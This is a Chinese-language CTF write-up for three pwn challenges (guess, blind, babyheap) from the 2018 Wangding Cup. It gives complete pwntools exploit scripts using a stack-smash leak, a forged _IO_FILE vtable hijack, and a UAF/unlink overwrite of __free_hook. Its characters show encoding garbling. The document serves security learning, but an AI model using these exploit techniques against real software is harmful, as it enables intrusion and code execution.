2018-網(wǎng)鼎杯 第一場(chǎng) pwn writueup

網(wǎng)鼎杯第一場(chǎng)wp

  • guess

    防護(hù)機(jī)制:

    image.png

開(kāi)啟了canary和NX

簡(jiǎn)單的看了下反編譯的邏輯

 HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");

發(fā)現(xiàn)它將flag讀取到棧上了,結(jié)合它開(kāi)的防護(hù)機(jī)制NX,可以想到smash the stack這種攻擊手法,利用 __stack_chk_fail 來(lái)打印想要的信息,因?yàn)閒lag在棧上,所以要先泄露出棧的地址,然后將argv[0]覆蓋成flag的地址,通過(guò)觸發(fā) _stack_chk_fail來(lái)將flag打印出來(lái)。棧的地址可以通過(guò)libc中的一個(gè)變量 _environ變量泄露出來(lái)。因?yàn)樵趌ibc中的全局變量 environ儲(chǔ)存著該程序環(huán)境變量的地址,而環(huán)境變量是儲(chǔ)存在棧上的,所以可以泄露棧地址,進(jìn)而計(jì)算出flag在棧上的地址。

 while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;

可以發(fā)現(xiàn)程序只能輸入三次,并且這里有g(shù)ets函數(shù),存在棧溢出,所以可以觸發(fā) _stack_chk_fail。因?yàn)橹荒茌斎肴危幸獦?gòu)造好輸入

思路:

  1. 先泄露libc地址
  2. 通過(guò)libc中的 __enviorn 變量泄露出棧地址
  3. 利用 _stack_chk_fail 打印出flag

幾個(gè)地址:

argv[0] = 0x7fffffffde88
buf_add = 0x7fffffffdd60
flag = 0x7fffffffdd30
offset = 0x128
flag_offset = 0x158

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'
p = remote('106.75.90.160',9999)
elf = ELF('./GUESS')

log.info('leak libc')
p.recv()
payload = 'a'*0x128
payload += p64(0x602048)
p.sendline(payload)

p.recvuntil('detected ***: ')
leak = u64(p.recv(6)+ '\x00'*2)
print hex(leak)
libc = leak - 0x20740
env_addr = libc + 0x3c6f38
print "env _add -->[%s]"%hex(env_addr)

log.info('leak stack address')
payload1 = 'a'*0x128 + p64(env_addr)
p.recvuntil('r guessing flag')
p.sendline(payload1)
p.recvuntil('detected ***: ')
leak_stack = u64(p.recv(6)+ '\x00'*2)
print "stack --> address[%s]"%hex(leak_stack)

log.info('show the flag')
stack_add = leak_stack
payload2 = 'a'*0x128 + p64(stack_add - 0x168)
p.recv()
p.sendline(payload2)
p.recv()
p.interactive()

  • blind

    防護(hù)機(jī)制:

image.png

開(kāi)啟了Full RELRO,Canary和NX,所以改got表的操作就不可行了

簡(jiǎn)單分析下程序的邏輯

程序一共有三個(gè)功能:

  1. new 分配一個(gè)大小為0x68的chunk,并讀入content
  2. change 編輯chunk的內(nèi)容
  3. release 將chunk free 掉,但沒(méi)清空指針,這里存在uaf漏洞,同時(shí)這個(gè)操作只能做三次

同時(shí)程序存在system函數(shù)

image.png

? 同時(shí)分配的chunk的地址都存儲(chǔ)在bss段的一個(gè)數(shù)組中

?
image.png
因?yàn)椴豢梢孕薷膅ot表,同時(shí)沒(méi)有可以泄露地址的地方,所以改malloc hook那些操作也做不了。
但是它又存在system函數(shù),在bss段上存在 stdin,stderr,stdout等_IO_FILE結(jié)構(gòu)體的指針,
所以想到的是修改文件流的指針,使其指向偽造的IO_FILE結(jié)構(gòu)體來(lái)getshell。
因?yàn)槌绦虼嬖趗af漏洞,所以可以通過(guò)fastbins attck 分配到包含全局變量數(shù)組的chunk,就可以實(shí)現(xiàn)任意地址讀寫(xiě)。
大致思路是:
1. 利用fastbins attack控制全局變量數(shù)組
2. 向bss段寫(xiě)入偽造的_IO_FILE_plus 結(jié)構(gòu)體 以及 vtable數(shù)組
3. 修改stdout指針指向偽造的_IO_FILE_plus結(jié)構(gòu)體
  • fastbins attack 控制 ptr數(shù)組

    new(0,'a\n')
    new(1,'b\n')
    delete(0)
    change(0,p64(0x60203d)+'\n')
    payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n'
    new(2,'a\n')
    new(3,payload)
    
  • 偽造 stdout結(jié)構(gòu)體

    gef?  p  *(struct _IO_FILE_plus *) stdout
    $2 = {
      file = {
        _flags = 0xfbad2887, 
        _IO_read_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_read_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_read_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_write_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_buf_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", 
        _IO_buf_end = 0x7f5b6742a6a4 <_IO_2_1_stdout_+132> "", 
        _IO_save_base = 0x0, 
        _IO_backup_base = 0x0, 
        _IO_save_end = 0x0, 
        _markers = 0x0, 
        _chain = 0x7f5b674298e0 <_IO_2_1_stdin_>, 
        _fileno = 0x1, 
        _flags2 = 0x0, 
        _old_offset = 0xffffffffffffffff, 
        _cur_column = 0x0, 
        _vtable_offset = 0x0, 
        _shortbuf = "\n", 
        _lock = 0x7f5b6742b780 <_IO_stdfile_1_lock>, 
        _offset = 0xffffffffffffffff, 
        _codecvt = 0x0, 
        _wide_data = 0x7f5b674297a0 <_IO_wide_data_1>, 
        _freeres_list = 0x0, 
        _freeres_buf = 0x0, 
        __pad5 = 0x0, 
        _mode = 0xffffffff, 
        _unused2 = '\000' <repeats 19 times>
      }, 
      vtable = 0x7f5b674286e0 <_IO_file_jumps>
    }
    

    偽造的IO_FILE_plus結(jié)構(gòu)體中的flags要滿(mǎn)足下面的條件

    flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0
    所以flag的值可以為0xfbad8000 或者0xfbad8080
    

    其他的根據(jù)原本的結(jié)構(gòu)體偽造就行了

    fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4  
    fake_struct += p64(0x602060) + p64(0x1)  + p64(0xffffffffffffffff)+ p64(0) 
    fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) 
    fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0) 
    fake_struct += p64(0)+ p64(0x602090 + 0x68*3)
    fake_vtable = p64(system_addr)*10 + '\n'
    

    偽造后的結(jié)構(gòu)體

    gef?  p *(struct _IO_FILE_plus *)0x602090
    $1 = {
      file = {
        _flags = 0xfbad8000, 
        _IO_read_ptr = 0x602060 "  `", 
        _IO_read_end = 0x602060 "  `", 
        _IO_read_base = 0x602060 "  `", 
        _IO_write_base = 0x602060 "  `", 
        _IO_write_ptr = 0x602060 "  `", 
        _IO_write_end = 0x602060 "  `", 
        _IO_buf_base = 0x602060 "  `", 
        _IO_buf_end = 0x602061 " `", 
        _IO_save_base = 0x0, 
        _IO_backup_base = 0x0, 
        _IO_save_end = 0x0, 
        _markers = 0x0, 
        _chain = 0x602060, 
        _fileno = 0x1, 
        _flags2 = 0x0, 
        _old_offset = 0xffffffffffffffff, 
        _cur_column = 0x0, 
        _vtable_offset = 0x0, 
        _shortbuf = "", 
        _lock = 0x602060, 
        _offset = 0xffffffffffffffff, 
        _codecvt = 0x0, 
        _wide_data = 0x602060, 
        _freeres_list = 0x0, 
        _freeres_buf = 0x0, 
        __pad5 = 0x0, 
        _mode = 0xffffffff, 
        _unused2 = '\000' <repeats 19 times>
      }, 
      vtable = 0x6021c8
    }
    
  • 在bss段寫(xiě)入偽造的fake_struct和fake_vtable

    change(1,fake_struct[:0x68])
    change(2,fake_struct[0x68:0xd0])
    change(3,fake_struct[0xd0:]+'\n')
    change(4,fake_vtable+'\n')
    
  • 修改stdout指針指向偽造的fake_struct

    change(0,p64(0x602090)+'\n')
    

    最終成功getshell

    完整exp:

    from pwn import *
    context.log_level='debug'
    
    #p=remote('106.75.20.44', 9999)
    p = process('./blind')
    elf = ELF('./libc.so.6')
    
    def new(idx,content):
        p.sendline('1')
        p.recvuntil('Index:')
        p.sendline(str(idx))
        p.recvuntil('Content:')
        p.send(content)
        p.recvuntil('Choice:')
    
    def change(idx,content):
        p.sendline('2')
        p.recvuntil('Index:')
        p.sendline(str(idx))
        p.recvuntil('Content:')
        p.send(content)
        p.recv()
    
    def delete(idx):
        p.sendline('3')
        p.recvuntil('Index:')
        p.sendline(str(idx))
        p.recvuntil('Choice:')
    
    system_addr =  0x4008E3
    
    new(0,'a\n')
    new(1,'b\n')
    delete(0)
    change(0,p64(0x60203d)+'\n')
    payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n'
    new(2,'a\n')
    new(3,payload)
    
    
    fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4  
    fake_struct +=  p64(0x602060) + p64(0x1)  + p64(0xffffffffffffffff) + p64(0)
    fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) 
    fake_struct +=  p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 +  p64(0x602090 + 0x68*3)
    fake_vtable = p64(system_addr)*10
    
    change(1,fake_struct[:0x68])
    change(2,fake_struct[0x68:0xd0])
    change(3,fake_struct[0xd0:]+'\n')
    change(4,fake_vtable+'\n')
    change(0,p64(0x602090)+'\n')
    
    p.interactive()
    

下面是比賽時(shí)沒(méi)做出來(lái)的

babyheap

防護(hù)機(jī)制:

image.png

防護(hù)機(jī)制開(kāi)啟了full RELRO,所以修改got表函數(shù)的內(nèi)容就不可行

簡(jiǎn)單的分析下程序邏輯:

有四個(gè)功能:

  1. alloc:分配一個(gè)大小為0x20的chunk,并向里面寫(xiě)入內(nèi)容
  2. edit:對(duì)chunk進(jìn)行編輯,總共只能編輯三次
  3. show: 打印chunk的內(nèi)容,這里可以進(jìn)行信息泄露
  4. free:將chunk free掉,這里沒(méi)將指針置為0,存在UAF漏洞

大致思路:

這題中有show函數(shù),所以應(yīng)該要泄露出libc的地址,然后改malloc_hook或者free_hook 來(lái)getshell
但是因?yàn)橄薅╩alloc的大小只能是0x20,所以要先想怎么產(chǎn)生一個(gè)unsorted bins中的chunk
這里的思路是利用UAF漏洞 ,進(jìn)行fastbins attack 分配包括下一個(gè)chunk size字段的chunk。
就可以修改下一個(gè)chunk的size字段為0xa1,然后free掉這個(gè)chunk,這樣就可以獲得unsorted bins 的chunk了。
再利用show功能就可以泄露出來(lái)libc的地址,這里要注意chunk overlap的影響。
因?yàn)樵赽ss段存在著存儲(chǔ)chunk地址的全局變量數(shù)組,所以可以利用unlink來(lái)修改free_hook的內(nèi)容
  • 泄露heap地址

    alloc(0,'aaaa\n')
    alloc(1,'bbbb\n')
    
    free(1)
    free(0)
    show(0)
    leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
    heap_base = leak_heap - 0x30
    
  • fastbins attack 控制chunk1的size字段

    #先要在chunk0上偽造好size字段
    alloc(0,p64(0x31)*4)
    alloc(1,'bbbb\n')
    alloc(2,'cccc\n')
    alloc(3,'dddd\n')
    alloc(4,'eeee\n')#防止free掉的chunk和topchunk合并
    
    fake_chunk = heap_base + 0x20
    edit(0,p64(fake_chunk)+'\n')
    alloc(5,'aaaa\n')#chunk5
    alloc(6,p64(0)+p64(0xa1)+'\n')
    
image.png
  • 泄露libc地址

    free(1)
    show(1)
    leak = u64(p.recvline().strip().ljust(8,'\x00'))
    main_arena = leak - 0x58
    libc_base = main_arena - libc.symbols['__malloc_hook'] -  0x10
    print "libc base address -->[%s]"%hex(libc_base)
    free_hook = libc_base + libc.symbols['__free_hook']
    print "free_hook -->[%s]"%hex(free_hook)
    one_gadget = libc_base + 0xf1147
    print "one_gadget -->[%s]"%hex(one_gadget)
    
  • 利用unlink修改free_hook為one_gadget

    #這里unlink的chunk要在一開(kāi)始就構(gòu)造好,在free掉0xa1大小的chunk時(shí)就要進(jìn)行unlink
    #這里利用的是unlink向前合并,所以要偽造要進(jìn)行unlink的下下個(gè)chunk的prev_size字段以及size字段
    #在這里需要檢查 next chunk 是否是空閑的(通過(guò)下下個(gè) chunk 的flag的最低位去判斷),在找下下個(gè)chunk(這里的下、包括下下都是相對(duì)于大小為0xa1的chunk而言的)的過(guò)程中,都是通過(guò)當(dāng)前chunk地址加上size大小找到的
    #所以一開(kāi)始要分配5個(gè)chunk
    alloc(0,p64(0x31)*4)
    alloc(1,'b'*0x20)#chunk1  size will change -->0xa1
    alloc(2,'c'*0x20)
    alloc(3,p64(0x90)+'\n')
    alloc(4,p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))#chunk2
    alloc(5,p64(0x30)+p64(0x30)+'\n')#chunk5
    #在chunk2中偽造要unlink的fake_chunk
    #在chunk5中偽造prev_size以及size字段
    ---------------------------------------------------------------------------------------
    free(1)
    
    edit(4,p64(free_hook)+'\n')
    edit(1,p64(one_gadget)+'\n')
    

    unlink前堆的布局

    gef?  x/40gx 0x0000000001a1a000
    0x1a1a000:    0x0000000000000000  0x0000000000000031
    0x1a1a010:    0x0000000001a10061  0x0000000000000000
    0x1a1a020:    0x0000000000000031  0x0000000000000031
    0x1a1a030:    0x0000000000000000  0x00000000000000a1<--target chunk
    0x1a1a040:    0x0000000000000000  0x6262626262626262
    0x1a1a050:    0x6262626262626262  0x0062626262626262
    0x1a1a060:    0x0000000000000000  0x0000000000000031
    0x1a1a070:    0x6363636363636363  0x6363636363636363
    0x1a1a080:    0x6363636363636363  0x0063636363636363
    0x1a1a090:    0x0000000000000000  0x0000000000000031
    0x1a1a0a0:    0x0000000000000090  0x0000000000000000
    0x1a1a0b0:    0x0000000000000000  0x0000000000000000
    0x1a1a0c0:    0x0000000000000000  0x0000000000000031
    0x1a1a0d0:    0x0000000000000000  0x0000000000000031<--unlink chunk
    0x1a1a0e0:    0x0000000000602068  0x0000000000602070
    0x1a1a0f0:    0x0000000000000000  0x0000000000000031
    0x1a1a100:    0x0000000000000030  0x0000000000000030<--fake size
    0x1a1a110:    0x0000000000000000  0x0000000000000000
    0x1a1a120:    0x0000000000000000  0x0000000000020ee1
    0x1a1a130:    0x0000000000000000  0x0000000000000000
    
    

    unlink后堆的布局

    gef?  x/40gx 0x0000000001a1a000
    0x1a1a000:    0x0000000000000000  0x0000000000000031
    0x1a1a010:    0x0000000001a10061  0x0000000000000000
    0x1a1a020:    0x0000000000000031  0x0000000000000031
    0x1a1a030:    0x0000000000000000  0x00000000000000d1<--
    0x1a1a040:    0x00007f68429d7b78  0x00007f68429d7b78
    0x1a1a050:    0x6262626262626262  0x0062626262626262
    0x1a1a060:    0x0000000000000000  0x0000000000000031
    0x1a1a070:    0x6363636363636363  0x6363636363636363
    0x1a1a080:    0x6363636363636363  0x0063636363636363
    0x1a1a090:    0x0000000000000000  0x0000000000000031
    0x1a1a0a0:    0x0000000000000090  0x0000000000000000
    0x1a1a0b0:    0x0000000000000000  0x0000000000000000
    0x1a1a0c0:    0x0000000000000000  0x0000000000000031
    0x1a1a0d0:    0x0000000000000000  0x0000000000000031<--
    0x1a1a0e0:    0x0000000000602068  0x0000000000602070
    0x1a1a0f0:    0x0000000000000000  0x0000000000000031
    0x1a1a100:    0x00000000000000d0  0x0000000000000030
    0x1a1a110:    0x0000000000000000  0x0000000000000000
    0x1a1a120:    0x0000000000000000  0x0000000000020ee1
    0x1a1a130:    0x0000000000000000  0x0000000000000000
    
    
image.png

可以看到此時(shí)的chunk1在數(shù)組存儲(chǔ)位置的內(nèi)容已經(jīng)被修改為free_hook了,在向chunk1寫(xiě)入就可以修改free_hook的內(nèi)容了

  • 完整exp:

    from pwn import*
    context.log_level = 'debug'
    
    def alloc(idx,t):
        p.recv()
        p.sendline('1')
        p.recv()
        p.sendline(str(idx))
        p.recv()
        p.send(t)
        
    def edit(idx,t):
        p.recv()
        p.sendline('2')
        p.recv()
        p.sendline(str(idx))
        p.recv()
        p.send(t)
    
    def free(t):
        p.recv()
        p.sendline('4')
        p.recv()
        p.sendline(str(t))
    
    def show(idx):
        p.recv()
        p.sendline('3')
        p.recv()
        p.sendline(str(idx))
    
    #p = remote('106.75.67.115', 9999)
    p = process('./babyheap')
    elf = ELF('./babyheap')
    libc = ELF('./libc.so.6')
    
    sleep(5)
    alloc(0,p64(0x31)*4)
    alloc(1,'b'*0x20)
    alloc(2,'c'*0x20)
    alloc(3,p64(0x90)+'\n')
    alloc(4,p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
    alloc(5,p64(0x30)+p64(0x30)+'\n')
    
    log.info("******************leak heap base address******************")
    free(1)
    free(0)
    show(0)
    leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
    heap_base = leak_heap - 0x30
    print "heap base address-->[%s]"%hex(heap_base)
    chunk2_add = heap_base+0x20
    
    log.info("******************leak  libc adress******************")
    edit(0,p64(chunk2_add)+'\n')
    alloc(6,'a\n')
    alloc(7,p64(0)+p64(0xa1)+'\n')
    free(1)
    show(1)
    leak = u64(p.recvline().strip().ljust(8,'\x00'))
    main_arena = leak - 0x58
    libc_base = main_arena - libc.symbols['__malloc_hook'] -  0x10
    print "libc base address -->[%s]"%hex(libc_base)
    free_hook = libc_base + libc.symbols['__free_hook']
    print "free_hook -->[%s]"%hex(free_hook)
    one_gadget = libc_base + 0xf1147
    print "one_gadget -->[%s]"%hex(one_gadget)
    
    log.info("******************unlink******************")
    edit(4,p64(free_hook)+'\n')
    edit(1,p64(one_gadget)+'\n')
    
    free(1)
    p.interactive()
    

?

?

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容